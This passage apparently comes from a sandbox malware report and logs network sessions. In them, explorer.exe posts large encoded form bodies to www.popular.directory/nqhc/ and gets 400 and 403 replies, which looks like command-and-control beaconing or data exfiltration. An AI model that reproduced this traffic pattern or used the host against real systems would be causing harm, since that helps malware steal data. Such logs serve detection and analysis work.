Dec 5, 2022 15:15:18.185795069 CET	11193	OUT	Data Raw: 51 78 34 5f 4f 4e 37 51 31 72 36 47 50 2d 57 4d 68 58 61 33 61 34 54 31 55 53 73 76 47 53 6f 7a 58 69 61 76 33 72 43 2d 73 48 65 50 63 7a 36 6d 44 33 37 67 77 4f 41 4f 79 41 7e 75 76 62 48 46 49 6c 4e 4c 64 77 50 72 52 41 47 57 41 4f 4e 5a 38 5a Data Ascii: Qx4_ON7Q1r6GP-WMhXa3a4T1USsvGSozXiav3rC-sHePcz6mD37gwOAOyA~uvbHFIlNLdwPrRAGWAONZ8ZUIjzFRJXEFmQCJEtyqOySXHbUBitEU(ADJHZCHvehhAhuaROtfty8wtyS3MuoBCSohKx8b22xPmyde3Tk8~e58sprWuo1Hu0e8HLbQXMvF4pwA6zz_aqDF5vZp0nhzq1B3366Kg3AD8cvZjC9VMAN4YCc3KS9yftx
Dec 5, 2022 15:15:18.467650890 CET	11196	OUT	Data Raw: 4f 76 61 44 70 6d 53 78 4c 58 54 71 58 32 79 44 48 41 70 36 30 45 47 31 4b 7a 30 43 71 32 30 53 32 56 44 66 30 53 70 67 7a 56 7a 65 58 70 55 50 67 39 47 79 70 58 69 79 4d 6e 31 77 73 47 48 6a 62 41 73 4e 65 75 51 73 7a 4e 33 33 7a 79 59 51 45 36 Data Ascii: OvaDpmSxLXTqX2yDHAp60EG1Kz0Cq20S2VDf0SpgzVzeXpUPg9GypXiyMn1wsGHjbAsNeuQszN33zyYQE63dWy5aRC0TZ4cu1WJrbZHmHPFrtFJJT7C1El2O47bpeG0mxBeBDMgmvIwRw6tDQ5Q2xA7MnnA9OkpsUn3puzXfLdT3Q4L7yUgGVPEP3eUhU6WduozFPSUDGy(8dpHpzAegKYEXAH(WPvnNKx1x2ODNYxTP~A13hOq
Dec 5, 2022 15:15:18.467763901 CET	11202	OUT	Data Raw: 6d 57 75 77 66 55 42 67 38 52 39 61 37 4d 33 68 42 31 4c 45 30 61 6e 76 49 46 4d 36 49 34 28 43 4e 4a 32 6f 77 2d 59 71 36 33 6c 61 75 4e 31 41 77 4b 67 48 39 43 28 77 6b 2d 34 58 7e 77 75 61 45 36 49 62 54 70 49 33 6f 71 30 35 38 67 66 57 63 44 Data Ascii: mWuwfUBg8R9a7M3hB1LE0anvIFM6I4(CNJ2ow-Yq63lauN1AwKgH9C(wk-4X~wuaE6IbTpI3oq058gfWcDKsApFZDT0zy8JVn79I(foH19r5j8APCfqDdiyfQJvr(E6GYSIV2hZslbj6czw19my60MRGIhzu2BTy81cActf72uRQHM8vkP2DX4DYfxVAfxXY42NWd8oWwLM0d5HD4VlLtNhpIcrAoVN8K4TPFiGzcOP6pr(Hbn0
Dec 5, 2022 15:15:18.467839956 CET	11206	OUT	Data Raw: 62 55 56 4d 4f 46 68 54 66 37 42 6e 77 34 7a 35 4e 6b 34 43 44 63 54 4c 7a 64 50 52 34 7a 43 4b 39 6a 68 46 67 63 61 75 71 32 67 57 4d 6c 72 66 41 76 69 2d 47 4f 65 47 45 79 43 6d 67 6d 61 79 61 6a 32 59 30 64 53 74 6d 37 72 57 28 5a 79 67 71 6c Data Ascii: bUVMOFhTf7Bnw4z5Nk4CDcTLzdPR4zCK9jhFgcauq2gWMlrfAvi-GOeGEyCmgmayaj2Y0dStm7rW(ZygqlFNdLgvKS~RIbu66ipcvyypYuF06iW-CQHABODFp7aZx2CP1JMnW9ASIMLKNaoE2F8YP11lACM_bFK9ZCieT2K_LkZJMGM4EQNZAAQaGFtVgR0YizA1z4Xp8ZpIGn(4eoK1JPBjkVUwRAPqSYvVdcyy9dBX3_yU5o8
Dec 5, 2022 15:15:18.468009949 CET	11207	OUT	Data Raw: 45 4b 6b 39 33 75 46 32 38 4a 35 64 47 6c 77 4e 30 4c 50 48 6f 6d 70 31 6a 56 49 33 47 37 58 32 36 63 38 6a 58 4d 37 73 36 43 35 68 35 56 64 73 6c 51 39 4e 71 52 55 65 45 78 44 49 47 33 48 46 63 61 49 75 44 58 31 34 47 44 42 38 76 41 6c 6f 6f 2d Data Ascii: EKk93uF28J5dGlwN0LPHomp1jVI3G7X26c8jXM7s6C5h5VdslQ9NqRUeExDIG3HFcaIuDX14GDB8vAloo-N8J8elRURW~hX6VutWCw~VNVYd6Z1dJEcCwLcBmH7hlwqLgN5xlAYzHwsiK4KrP7zsnBstKhdV35HaVSKrUBDk5Ux7u5G62lwjMZvrOj7skTs7Vcguf9kJFdpexxTCjnNQWHuQWReZ9Q06GuysKnDYK1ofPbGq0tT
Dec 5, 2022 15:15:18.832246065 CET	11209	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:15:19.080210924 CET	11209	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.11.20	49947	64.190.63.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:14.285463095 CET	12847	OUT	POST /nqhc/ HTTP/1.1 Host: www.popular.directory Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.popular.directory User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.popular.directory/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 78 43 54 61 61 61 43 64 58 43 72 6c 6f 4b 6e 34 57 51 34 63 74 34 6c 45 30 6d 30 5a 79 54 54 48 71 46 32 45 31 6f 73 68 37 76 7e 65 4f 50 6c 6c 54 50 7e 36 50 51 50 44 64 4e 75 45 71 72 63 34 61 30 53 48 6e 69 4d 58 46 4f 48 65 6b 75 74 47 78 62 71 32 58 66 28 73 76 73 30 6a 6d 59 58 55 72 74 53 6e 6c 67 42 37 52 45 58 66 66 4e 68 41 6e 68 57 42 4b 34 56 46 6e 4a 35 52 54 75 74 6d 32 67 6f 50 78 42 70 4c 28 68 57 6e 76 2d 35 74 54 4f 4b 4f 4a 35 61 59 34 67 66 76 78 77 4f 5a 6d 50 55 69 7e 65 75 32 77 63 46 79 62 36 44 51 72 59 61 69 5a 76 46 76 72 73 79 63 61 42 35 47 75 42 75 50 48 57 44 4a 7e 49 6e 37 6f 4f 5a 68 4a 58 4e 5a 36 56 43 51 41 46 42 4f 5a 6d 45 56 46 66 79 75 6f 76 4a 35 47 6b 59 66 69 4a 46 72 6a 73 36 68 75 50 43 46 45 77 34 39 32 65 42 7a 67 7a 5a 53 69 52 61 6d 4e 4d 4e 73 48 69 44 50 48 6f 6f 58 67 58 45 74 4c 70 43 57 4b 2d 58 42 6d 30 6a 65 43 37 53 4a 6f 64 64 31 68 64 70 42 28 58 76 67 6f 49 46 55 63 37 35 68 6b 4a 32 4f 32 69 33 37 45 48 56 52 77 62 36 4b 4e 4a 32 71 59 79 74 39 6e 4e 4f 74 66 7a 28 56 78 4c 4f 4c 4a 62 43 67 56 32 71 75 50 36 61 4f 77 4b 36 5a 45 44 6e 46 30 67 70 5a 5a 6b 37 77 41 6f 76 71 6b 64 74 63 7a 75 52 43 64 63 71 62 5a 6b 47 39 72 6a 56 63 68 32 5a 59 76 57 64 6e 55 30 4c 56 5a 57 46 64 48 71 38 4c 48 68 6f 4f 74 4f 35 77 63 38 69 6c 68 64 59 55 47 2d 61 69 66 78 55 36 76 4b 32 32 30 48 31 55 64 66 5a 43 33 6f 71 71 38 4e 6d 59 36 52 5a 63 78 78 71 4a 71 56 33 39 65 71 61 62 6a 56 66 42 70 34 4a 6b 63 79 7e 67 48 56 38 5a 4a 58 69 77 6e 34 32 58 33 36 41 78 61 43 45 33 64 51 46 67 6b 78 77 63 65 36 35 6c 79 79 69 5a 76 45 55 38 61 43 35 49 39 6a 44 34 75 36 75 4b 56 6a 7e 2d 64 5f 71 63 64 6d 34 47 75 43 39 51 6b 61 6e 33 38 53 71 47 33 41 4d 6c 78 58 6d 77 72 69 6c 4c 55 53 4f 49 72 54 31 30 32 50 4c 77 66 34 78 69 54 72 63 51 38 33 28 63 61 62 48 6a 52 42 38 79 66 4b 70 56 4f 48 46 72 68 58 64 72 66 35 35 43 34 36 34 6f 50 6d 59 4f 72 4e 48 36 4a 66 6b 41 73 39 7a 46 75 6b 39 6d 6b 44 51 4f 57 52 4b 6f 73 35 78 35 67 41 73 51 6a 62 41 57 62 4c 6e 53 36 5f 34 34 50 6a 46 77 77 78 42 6a 39 7a 64 6f 67 6d 57 6c 30 4e 53 33 6a 73 54 47 5a 75 4e 68 6f 5a 78 73 38 52 50 66 4a 4a 6c 4a 68 35 67 55 77 61 4e 6f 46 61 78 50 55 4d 74 52 53 47 4c 2d 54 52 63 42 53 6b 7e 46 64 37 7a 72 39 5f 6a 44 52 6a 51 51 39 43 57 6d 6f 33 4c 66 69 4b 74 56 58 62 43 55 33 79 6c 37 5a 6d 48 70 47 6b 42 73 53 6f 59 7a 7e 37 5a 4c 4d 56 76 68 4a 78 32 46 45 50 71 43 64 5a 37 6b 37 75 73 30 76 69 73 50 6e 74 70 50 7e 4b 71 2d 4f 34 5a 73 53 63 58 69 68 59 67 6b 71 6d 67 4c 58 74 38 6a 58 65 69 6a 6d 56 6b 75 4b 47 66 66 57 4a 63 6a 4e 34 51 69 51 6f 41 4a 6f 43 4e 6d 31 63 38 30 34 64 38 74 6c 71 59 73 41 4c 31 45 57 76 64 4b 47 6b 71 7a 65 35 4f 33 4d 31 33 67 76 2d 78 62 38 63 37 45 72 7a 71 5a 61 77 42 38 70 79 30 36 32 7a 38 6a 58 75 68 64 38 69 74 37 45 55 51 69 49 36 45 7a 32 66 54 50 54 78 71 41 43 45 30 34 37 2d 79 4a 72 54 79 6a 67 6f 63 6b 7e 4b 6e 36 67 30 59 55 38 67 4b 46 30 70 56 2d 52 79 30 78 52 52 34 38 35 61 76 63 59 6d 7a 58 55 44 63 64 31 43 59 59 77 68 48 44 4b 43 6b 77 62 5a 61 33 70 31 4f 6d 4f 41 38 65 77 35 61 45 64 33 46 45 67 58 6f 79 6f 41 5a 68 75 67 47 70 64 42 47 37 58 4c 56 56 74 53 7e 6a 39 74 46 7a 51 67 48 78 4d 45 64 76 55 7a 75 36 39 35 6b 39 30 34 78 50 73 47 41 6f 59 39 53 64 45 48 72 6e 4e 66 31 35 62 35 42 47 44 6e 6b 56 7a 39 72 70 49 6f 7e 7a 43 79 66 32 6e 62 45 4b 76 38 4d 41 6a 31 76 68 76 62 65 46 59 64 7e 34 68 35 50 56 51 49 4a 46 7a 5a 6b 66 64 63 35 70 46 5f 66 55 72 63 39 62 75 73 34 47 74 69 51 66 65 51 61 79 69 4d 4d 44 7e 32 6b 31 73 4d 59 52 63 32 37 68 6f 46 6b 38 47 33 48 4c 64 51 73 59 67 71 67 63 79 65 45 35 42 4e 76 68 58 41 53 6b 4a 63 4d 61 31 33 55 32 54 68 6b 31 54 72 4c 49 64 72 47 38 71 79 5a 55 6e 4d 4f 4e 4a 68 46 42 50 63 7e 76 6d 72 50 49 71 2d 36 4b 62 59 32 2d 4b 77 67 69 79 62 6b 63 53 75 59 71 63 43 69 65 77 53 30 54 32 4f 64 36 76 4c 38 58 6a 42 75 50 46 2d 62 4b 7a 5f 50 51 28 69 55 68 6d 32 59 39 55 48 41 4d 65 46 65 68 34 45 42 42 50 35 62 35 51 4c 4e 74 36 52 55 58 71 56 6f 75 4c 47 38 5f 71 Data Ascii: 7nWHV=xCTaaaCdXCrloKn4WQ4ct4lE0m0ZyTTHqF2E1osh7v~eOPllTP~6PQPDdNuEqrc4a0SHniMXFOHekutGxbq2Xf(svs0jmYXUrtSnlgB7REXffNhAnhWBK4VFnJ5RTutm2goPxBpL(hWnv-5tTOKOJ5aY4gfvxwOZmPUi~eu2wcFyb6DQrYaiZvFvrsycaB5GuBuPHWDJ~In7oOZhJXNZ6VCQAFBOZmEVFfyuovJ5GkYfiJFrjs6huPCFEw492eBzgzZSiRamNMNsHiDPHooXgXEtLpCWK-XBm0jeC7SJodd1hdpB(XvgoIFUc75hkJ2O2i37EHVRwb6KNJ2qYyt9nNOtfz(VxLOLJbCgV2quP6aOwK6ZEDnF0gpZZk7wAovqkdtczuRCdcqbZkG9rjVch2ZYvWdnU0LVZWFdHq8LHhoOtO5wc8ilhdYUG-aifxU6vK220H1UdfZC3oqq8NmY6RZcxxqJqV39eqabjVfBp4Jkcy~gHV8ZJXiwn42X36AxaCE3dQFgkxwce65lyyiZvEU8aC5I9jD4u6uKVj~-d_qcdm4GuC9Qkan38SqG3AMlxXmwrilLUSOIrT102PLwf4xiTrcQ83(cabHjRB8yfKpVOHFrhXdrf55C464oPmYOrNH6JfkAs9zFuk9mkDQOWRKos5x5gAsQjbAWbLnS6_44PjFwwxBj9zdogmWl0NS3jsTGZuNhoZxs8RPfJJlJh5gUwaNoFaxPUMtRSGL-TRcBSk~Fd7zr9_jDRjQQ9CWmo3LfiKtVXbCU3yl7ZmHpGkBsSoYz~7ZLMVvhJx2FEPqCdZ7k7us0visPntpP~Kq-O4ZsScXihYgkqmgLXt8jXeijmVkuKGffWJcjN4QiQoAJoCNm1c804d8tlqYsAL1EWvdKGkqze5O3M13gv-xb8c7ErzqZawB8py062z8jXuhd8it7EUQiI6Ez2fTPTxqACE047-yJrTyjgock~Kn6g0YU8gKF0pV-Ry0xRR485avcYmzXUDcd1CYYwhHDKCkwbZa3p1OmOA8ew5aEd3FEgXoyoAZhugGpdBG7XLVVtS~j9tFzQgHxMEdvUzu695k904xPsGAoY9SdEHrnNf15b5BGDnkVz9rpIo~zCyf2nbEKv8MAj1vhvbeFYd~4h5PVQIJFzZkfdc5pF_fUrc9bus4GtiQfeQayiMMD~2k1sMYRc27hoFk8G3HLdQsYgqgcyeE5BNvhXASkJcMa13U2Thk1TrLIdrG8qyZUnMONJhFBPc~vmrPIq-6KbY2-KwgiybkcSuYqcCiewS0T2Od6vL8XjBuPF-bKz_PQ(iUhm2Y9UHAMeFeh4EBBP5b5QLNt6RUXqVouLG8_qsE8(jyEL3JiuK~mhDpDF-YhhnIsyjVUS2wPssSOQs2jxih2LKEudJYSxwRFhsLU5S364XRzNSIekrNXw0cFMFP7FshjrTxYL6rBI3wZVZuJ(x0g7lMbfz8wMXq0eKnADAhy6yaLpcix0xMXHVx8XRTG5cKBe1gtXxFM54txzK7YGSy7uLmsg3B6oUX74pACLwAzjgi8EkFGBQ8_G2i8LLkOKvpKs-bGZwrpC5D-G4srOMBZdtVhtRN60wqhdG(Foh~prIl3KaQCTstyJ3(VoiLQRPVKS8Z8csm0Tpo7JqCKLMAbadxFnRfOgMRgCaXzfcZUlRqa2WGNi7CRXFkzPrdohKIgzcpJ6O(b1Q65r7pLyZNm0n0NvJuGp-0t6TB7qyCDVOjK2wjgiPzueI34Rhq6NB7tcFxUWFYI9yss59OqGdBMq_Wov-cuLqFgBwfRJosH1rqDBKlCvRmYaX9exFlKbM80sUBUQqNnef0erUcK11X2(vk2zoO9(XW4PPnpM5hfFjeWD87hFK2moBXnZen-XlXOZN2i(jhtvfVCu9KhwnsT7xYAgous0otd2FQ2vyLF3QZEbocGGsv1~L3WWtQf2f91y1zXb_AG0myqaBhDzpmuMFfIOpZHyaRn2rVvibNdrzn6jfo38GYN0lP3aFBEgy2bTNvEtGZKzzhpvGhtH8eUe9ZelZWAM7loev8lfwJkSpEe15OqSuRJcOD-8M2K4hILuHQr93lPw3G_stPyTthj0elyWIPc(TwNHTnrAv2QShpL41pS5UVpkk7vEPm_iRtSFhP0f91GAigccEttEgrWBnlHy3GSUOwz0nhACD7qXIvn1v0aIyjV6H8OXjNpLrbvCtaOefWeKA2OSj3_awdJcsZwZbvEmzdIAaSoma4P7J31YSe5M_lx9AuAE-3TLww90YCAp16PZdwhOklq(yq9d-gqI0y8i1vuWAKcgJ~YChbGbnkhaZDe98Wzz-o9o1EWTMKmWgmHBtqLj41jC1jE7Va5CxnaNQGUbRU81oboaOXfcIn5rvm92tGVYPPzN7bTHuZ0pv3egsG0fg9jH8uH85gtKv51a_BSZkQqHoEG~ezE6V447hv2tbxLlL9xp9mcHs(x0037OdlCWBfAdoUMjAJ-2p(KgLpf8DzjnXTVvCGPWD23ye0Zv-z2B7v5UuFC6aYrw3qQuf3PjFCLHcTQ0cQlqBR7GfOVQ7RQGeNdTlg3VGmW5k68oa(901OjBcsTppTsGNLprfkBOysrP4AMNlLSXasHDNMs2_HObK~nlGHJqxHtCF~nXwKUt2nq3mnUFKd7SHcQQpLcnKmTzZJlraoMIR~Y085zbOSoLn(MCUfXM61orkvNpYdb3WOYgjwNXaY_ZBsVN9A1o39Qa6pTiuJGnj70mGhbc4XBHoPJXNJoQM1iB2xhE5pFkFvtwMADvWRIZ2FitoKt2vJ5JXUnCul9pB3rKxr0gDGbQ0sb(if7d0(Risg8WGAW6LaBh5FNWQQsxq5adjoBRrN0A9pAulbaIoPcnxyAHYvU9CA21-4-fI6Xkas1xNrYQARAbrWCAXBmp2HMQ5bQjaajxZP29OBlYPGnTqTZ72mzQmwSfQJOodI_Kujwgsg9og5h5tlVSBNibg20kuPOE91fTPlcTo~yL1agH_pa1vt8cyqU6Eogr6XD~Olhb1JPIy8ssFJstHuSqmQK1H0HSTgXAb3n4j8rp_e5kljQXrJEqdK5nzSzmB39n7236KHPUSHXGA2VMZIowKVvqtKOQqwMKT0QqGkZWWdgF_M-bdEKBTshGz2y8jCp~IEllYP6iYOo1RDANaZp(iMjh35I537RQGqI3l3-EOn6UiWRxwuA1itV8-fUpoKAk-B-4Q6p6xl-fC~L75GfcG7PwM~Pf1RI1gt-QTFmQKXfLUudqTQ-KbwQBN9aqa3fvQWuPo9vD1UOlFi-bYaG4Fy5FUScFYJiUAVcGSbxydEGFJno29wVuBEowAn4WjeKjqWjn3rvN7j7lLdInyNy(DjBr5PfYEk3J90-k0vGeG(Jt4vITrvEpjwxStPGt3JB4dpsUrU7ac60PXeqyWOOs30WTpNxXMchpDJ8K9w5Y7fwFtNn5f1NQzO9s-D6pJ5p4T7zrP9GBfoI7Ray89(tyM8lD_oWiQAGcgLWi7XfmfFi92z2eR4NX3VsQ0CICwLCoMfVATaYudvhsetcWN0si6GD0Pl5BwjM5KOqxkpjcQ9cGh3J9KTiqw5ADY(QknmDTqJ6HKl_xQ9VyYgdwGX2vuB9Q8SMoDXkWxfPCUacCakbPwibTBCPy02Rp5NTWvafSFstfUOqGx~Bux5K3kNPIyBT7V9hXBlHfD~lBi8mobVYHbqBw9p-OEl1S1DB5Es-yk6fBGU_AEyun9pmJF10pxEL9_P9EnR7PIxbxug83-CpdyHhE3XIyysuBJtI84ZnwiPYExm0DpajC144(LHkYky9S7sJaahkA1re4b8Bz6dnlXM33XWkRjan1EbvyivYsL1JtPJh9rhNvADAxCcvLAvyxw6VKUT5j4VA4nU74s72q_RUbbNWEXWSxS8vUaB2~4HEIakuUSjwZtPibxwlBAPwIy0R165wv3m8rFNVAFs6RnXan66XfyDyfRK28oWIS_0PuR0DecOsDN9o1_bjHwHwCDAY31d6VcZL6yeN21NqEb5PQHy2unEXfmIFKe89g2pVwljjWLcgM8RpEgiAAZOt
Dec 5, 2022 15:20:14.285583019 CET	12854	OUT	Data Raw: 52 39 34 42 65 49 75 7e 44 53 43 28 59 33 32 49 72 4e 51 66 6a 45 59 35 67 65 37 7a 4a 67 2d 62 59 44 72 42 6f 43 6c 46 55 51 78 73 37 6e 79 79 61 31 30 33 46 31 32 73 5f 76 35 59 39 43 79 6d 71 55 54 4f 70 58 4a 30 4e 6d 44 38 38 67 32 30 38 35 Data Ascii: R94BeIu~DSC(Y32IrNQfjEY5ge7zJg-bYDrBoClFUQxs7nyya103F12s_v5Y9CymqUTOpXJ0NmD88g2085EG45eEyhJp7cRPMZkttBE~Co_pijC5Z3izfn-89q9oKLP8efdy5OsJN3GxCypbqJORAbNY7N-foaFKTMyEHzDbcRAQ7AGbQ1uiJC0tswn5sURs3iBAw9anlJ-EaVTIjfviDx9MdFf(W8XmQuN5MOA712ZZBh2HLox
Dec 5, 2022 15:20:14.296243906 CET	12857	OUT	Data Raw: 62 51 4b 45 30 78 70 39 31 52 51 49 35 72 35 43 4b 74 6d 52 63 37 58 6a 6a 34 36 53 37 42 6c 70 46 53 45 4a 69 6a 48 36 52 69 42 6b 6b 56 32 28 61 6d 69 46 59 62 5a 64 31 38 4b 42 42 5a 42 64 37 46 61 6c 5f 4d 56 6b 58 68 4b 76 4e 6a 4d 30 56 63 Data Ascii: bQKE0xp91RQI5r5CKtmRc7Xjj46S7BlpFSEJijH6RiBkkV2(amiFYbZd18KBBZBd7Fal_MVkXhKvNjM0VcGI-2r(lAN4TZKI-D3I9RtcGoqWub4M7biQ95sQxwYg4bX1FHIhl6P(2iSujxywr1RLvqaJysB6vuoykYVq67kupHK~AIv5atlmvsV4XRDKcL9KRbq1HXNGEg5axUNF-Ci58a3y1Z3SZPIGXJ-YzDMhQOsLpdf1tQ7
Dec 5, 2022 15:20:14.296521902 CET	12858	IN	HTTP/1.1 403 Forbidden date: Mon, 05 Dec 2022 14:20:14 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0
Dec 5, 2022 15:20:14.296587944 CET	12865	OUT	Data Raw: 71 76 58 5a 67 45 71 75 41 4a 50 57 6c 49 37 45 69 31 41 51 77 35 49 4c 36 33 49 5a 6a 53 6f 7e 45 59 7a 69 6e 75 34 67 33 30 68 45 69 5a 59 6d 42 77 6d 72 61 64 75 32 71 30 47 6d 63 46 54 63 77 7e 65 59 62 76 54 52 70 33 67 61 76 56 30 53 43 49 Data Ascii: qvXZgEquAJPWlI7Ei1AQw5IL63IZjSo~EYzinu4g30hEiZYmBwmradu2q0GmcFTcw~eYbvTRp3gavV0SCIki2ahQhkeAzjIeEqvbt5Y8CgMKOKRXElKdDCKauihRs5qGdr-9x3vw0arT5AfCenhMWY9oowgjWIcZqzHQe30JuDLpv8UU_QognocMHcSNe51qqcm24JnU1e-QdmGcQyAIjKQfSTR9cxD(yMsqv(XVwoYBWpdLaM5
Dec 5, 2022 15:20:14.296915054 CET	12868	OUT	Data Raw: 65 78 43 47 37 70 62 7a 56 72 58 68 72 44 65 38 61 67 70 45 43 64 73 69 4c 64 41 6e 76 7a 79 35 73 51 47 54 58 32 43 72 66 66 58 39 6e 38 46 39 75 72 47 31 4c 6d 50 55 67 48 4d 51 6b 66 33 46 7a 48 30 74 65 71 34 73 4a 30 7a 57 49 46 43 7a 37 33 Data Ascii: exCG7pbzVrXhrDe8agpECdsiLdAnvzy5sQGTX2CrffX9n8F9urG1LmPUgHMQkf3FzH0teq4sJ0zWIFCz73FE-hqusxxApwV2-KcCfpvjkCEknlWR9TMjbunHDBPmpAOFZXpuMC2~0llMbqC9dp_Md0Bof3UASiZESiSg-LZXVPO9aV9FpKfjxbIt5MuIIrVBzCwXofz~O7Fa7fCM9RpbvfHln4F4SgaGcS6qhRZyU1klRLlvIhB
Dec 5, 2022 15:20:14.297236919 CET	12870	OUT	Data Raw: 33 51 56 45 32 44 33 51 31 59 69 38 57 56 7a 36 65 56 6c 72 51 67 68 56 39 47 4b 6f 48 74 4e 39 58 59 57 75 45 52 34 58 61 4c 55 72 30 6e 56 49 38 42 6b 31 48 7a 75 7a 75 5a 32 6e 75 62 66 53 6a 6c 36 45 72 4c 62 71 77 4e 65 73 7a 46 69 74 51 53 Data Ascii: 3QVE2D3Q1Yi8WVz6eVlrQghV9GKoHtN9XYWuER4XaLUr0nVI8Bk1HzuzuZ2nubfSjl6ErLbqwNeszFitQSdSZfef6hIICz1m_s6JIR86alclDN6e7IpAed0ulL0FrcS6QcVwNn2wcdZzdxFT-qRJk8-5SRv0w5lEEzNLXt3U2mkbmNzhhybK3FJI3iVflr5kAVQ6bLHnthOlH1ZHtozaiC4ilm9XiOe(_NK00s1tp10ALF0KLro
Dec 5, 2022 15:20:14.297419071 CET	12880	OUT	Data Raw: 59 6d 53 6f 32 32 53 6f 54 6d 4d 33 68 31 59 76 41 30 2d 49 39 35 53 4a 4d 49 75 78 31 48 72 71 42 70 51 77 4c 68 58 47 5a 50 4f 4d 34 33 53 32 4f 6e 79 41 77 73 5f 76 63 78 4b 36 57 4b 6f 4a 31 57 41 6d 78 63 50 78 4a 33 6e 54 62 4a 4e 77 4f 4a Data Ascii: YmSo22SoTmM3h1YvA0-I95SJMIux1HrqBpQwLhXGZPOM43S2OnyAws_vcxK6WKoJ1WAmxcPxJ3nTbJNwOJ9~VvbJbwNdwbML7v1tdKMKNK4KFGozcGiNed77ueaL25i~iG5RzdEnuE0f6CWKl8DlxusYDRBDEE45LqGfsvGohRdg-CKKRn6UE2ffB~a5I5XqncmadHxu0fZfqany3QzPvFuksst5sdhPelMpwzzHQb2pBTDWDfp
Dec 5, 2022 15:20:14.307419062 CET	12883	OUT	Data Raw: 41 69 74 71 46 76 33 45 78 62 46 38 43 77 39 67 74 68 6e 76 44 35 38 53 7a 72 69 75 4f 57 2d 28 71 35 6b 76 6a 6d 54 38 62 51 66 6f 48 39 42 38 79 71 55 37 56 59 32 70 59 76 78 49 74 44 44 44 62 34 36 57 56 7a 54 48 63 55 4b 4a 6f 61 2d 30 33 72 Data Ascii: AitqFv3ExbF8Cw9gthnvD58SzriuOW-(q5kvjmT8bQfoH9B8yqU7VY2pYvxItDDDb46WVzTHcUKJoa-03r5aCzZ3NIpYCzOvD~fPIqXyjssGD80O8HE5dg3~lk8uYopXxO9rm0RUQfSuNwpYxBYrHK2HxAnYOysUKOKD2MTsEdIoXgmU8VRr_6QXCSXgbGwl8yjYbPA8t8ltqQDK4L6NF~hQ1(Zo9J8VlcV9P2udDzBdVpnIssr
Dec 5, 2022 15:20:14.307590961 CET	12886	OUT	Data Raw: 66 43 67 4b 37 38 77 33 50 34 63 77 59 78 35 42 4a 77 79 75 77 59 71 72 76 37 65 54 55 6f 5f 30 69 32 35 4e 6b 50 34 5a 31 51 50 72 64 33 57 4c 54 78 4f 66 70 31 5a 69 35 47 4d 4d 5a 69 4d 50 44 73 77 5a 6b 52 35 55 4d 7a 36 76 5f 35 56 4c 74 73 Data Ascii: fCgK78w3P4cwYx5BJwyuwYqrv7eTUo_0i25NkP4Z1QPrd3WLTxOfp1Zi5GMMZiMPDswZkR5UMz6v_5VLtsQ1mJY66E8331ks0enskXbR9OopSRgEyK7VbygvEQwrPXHgqkcm_ebqZESJH8wElrPyUaaV9WNVLx8TV90fPcx0KMqgojfU0e_yJTZWNMO8q(RWMLSb3PgQjkqukgayF7amNfsXLo7tiH2uOyFaC0yNASSRyYdt1Nv
Dec 5, 2022 15:20:14.307756901 CET	12887	OUT	Data Raw: 78 6e 57 72 53 76 4e 67 6e 49 2d 6f 51 33 30 72 69 6d 30 6e 4f 6d 76 38 68 77 77 36 31 4e 61 58 6c 4f 79 78 31 43 62 79 66 6d 4f 4b 6b 73 61 44 31 33 4a 75 58 4d 35 33 50 66 46 47 52 62 4c 46 4d 64 54 36 6c 76 57 43 44 79 6f 58 5a 30 55 6d 44 66 Data Ascii: xnWrSvNgnI-oQ30rim0nOmv8hww61NaXlOyx1CbyfmOKksaD13JuXM53PfFGRbLFMdT6lvWCDyoXZ0UmDfSIUhRk65L2tMLjCyWwlhmWXUeKn6M(xrQJ1ZecwO9J2honrNyYxvMlo1q521lpU1cu-7tBwFPMh3mWOXkFbtdblhynewW9Uk7YYP5dOTGhn7CsQjPFc9cIIS9oGuGJT(OzizcknChOObCTyZOZ8bsoVVgJuGjF-p3
Dec 5, 2022 15:20:14.307889938 CET	12894	OUT	Data Raw: 51 63 32 70 63 41 4e 34 54 78 77 66 62 7a 52 39 71 57 5a 44 52 46 34 72 57 71 6c 71 44 78 57 6f 6d 46 32 6d 5a 4e 45 79 6a 52 56 51 36 37 55 41 76 39 49 77 59 73 73 44 41 4b 50 33 61 71 35 39 57 41 6f 71 33 39 53 71 6a 34 6d 50 6c 44 6d 64 4f 38 Data Ascii: Qc2pcAN4TxwfbzR9qWZDRF4rWqlqDxWomF2mZNEyjRVQ67UAv9IwYssDAKP3aq59WAoq39Sqj4mPlDmdO8C2P5XRNTbokhXwqU1U1SLx1RbTB3he6dIGe1GBL8ONWhTPo5ANC2c8ZydEoBVD10uwuECIjVoANncTxfz1SX00M1152xRk9yteSvimO8T1D6ebWfP9lAB4YzOPXEbg6bTdqGTJGWK8LYDwN7_dshoGPqek4UzFE8i

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.11.20	49948	64.190.63.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
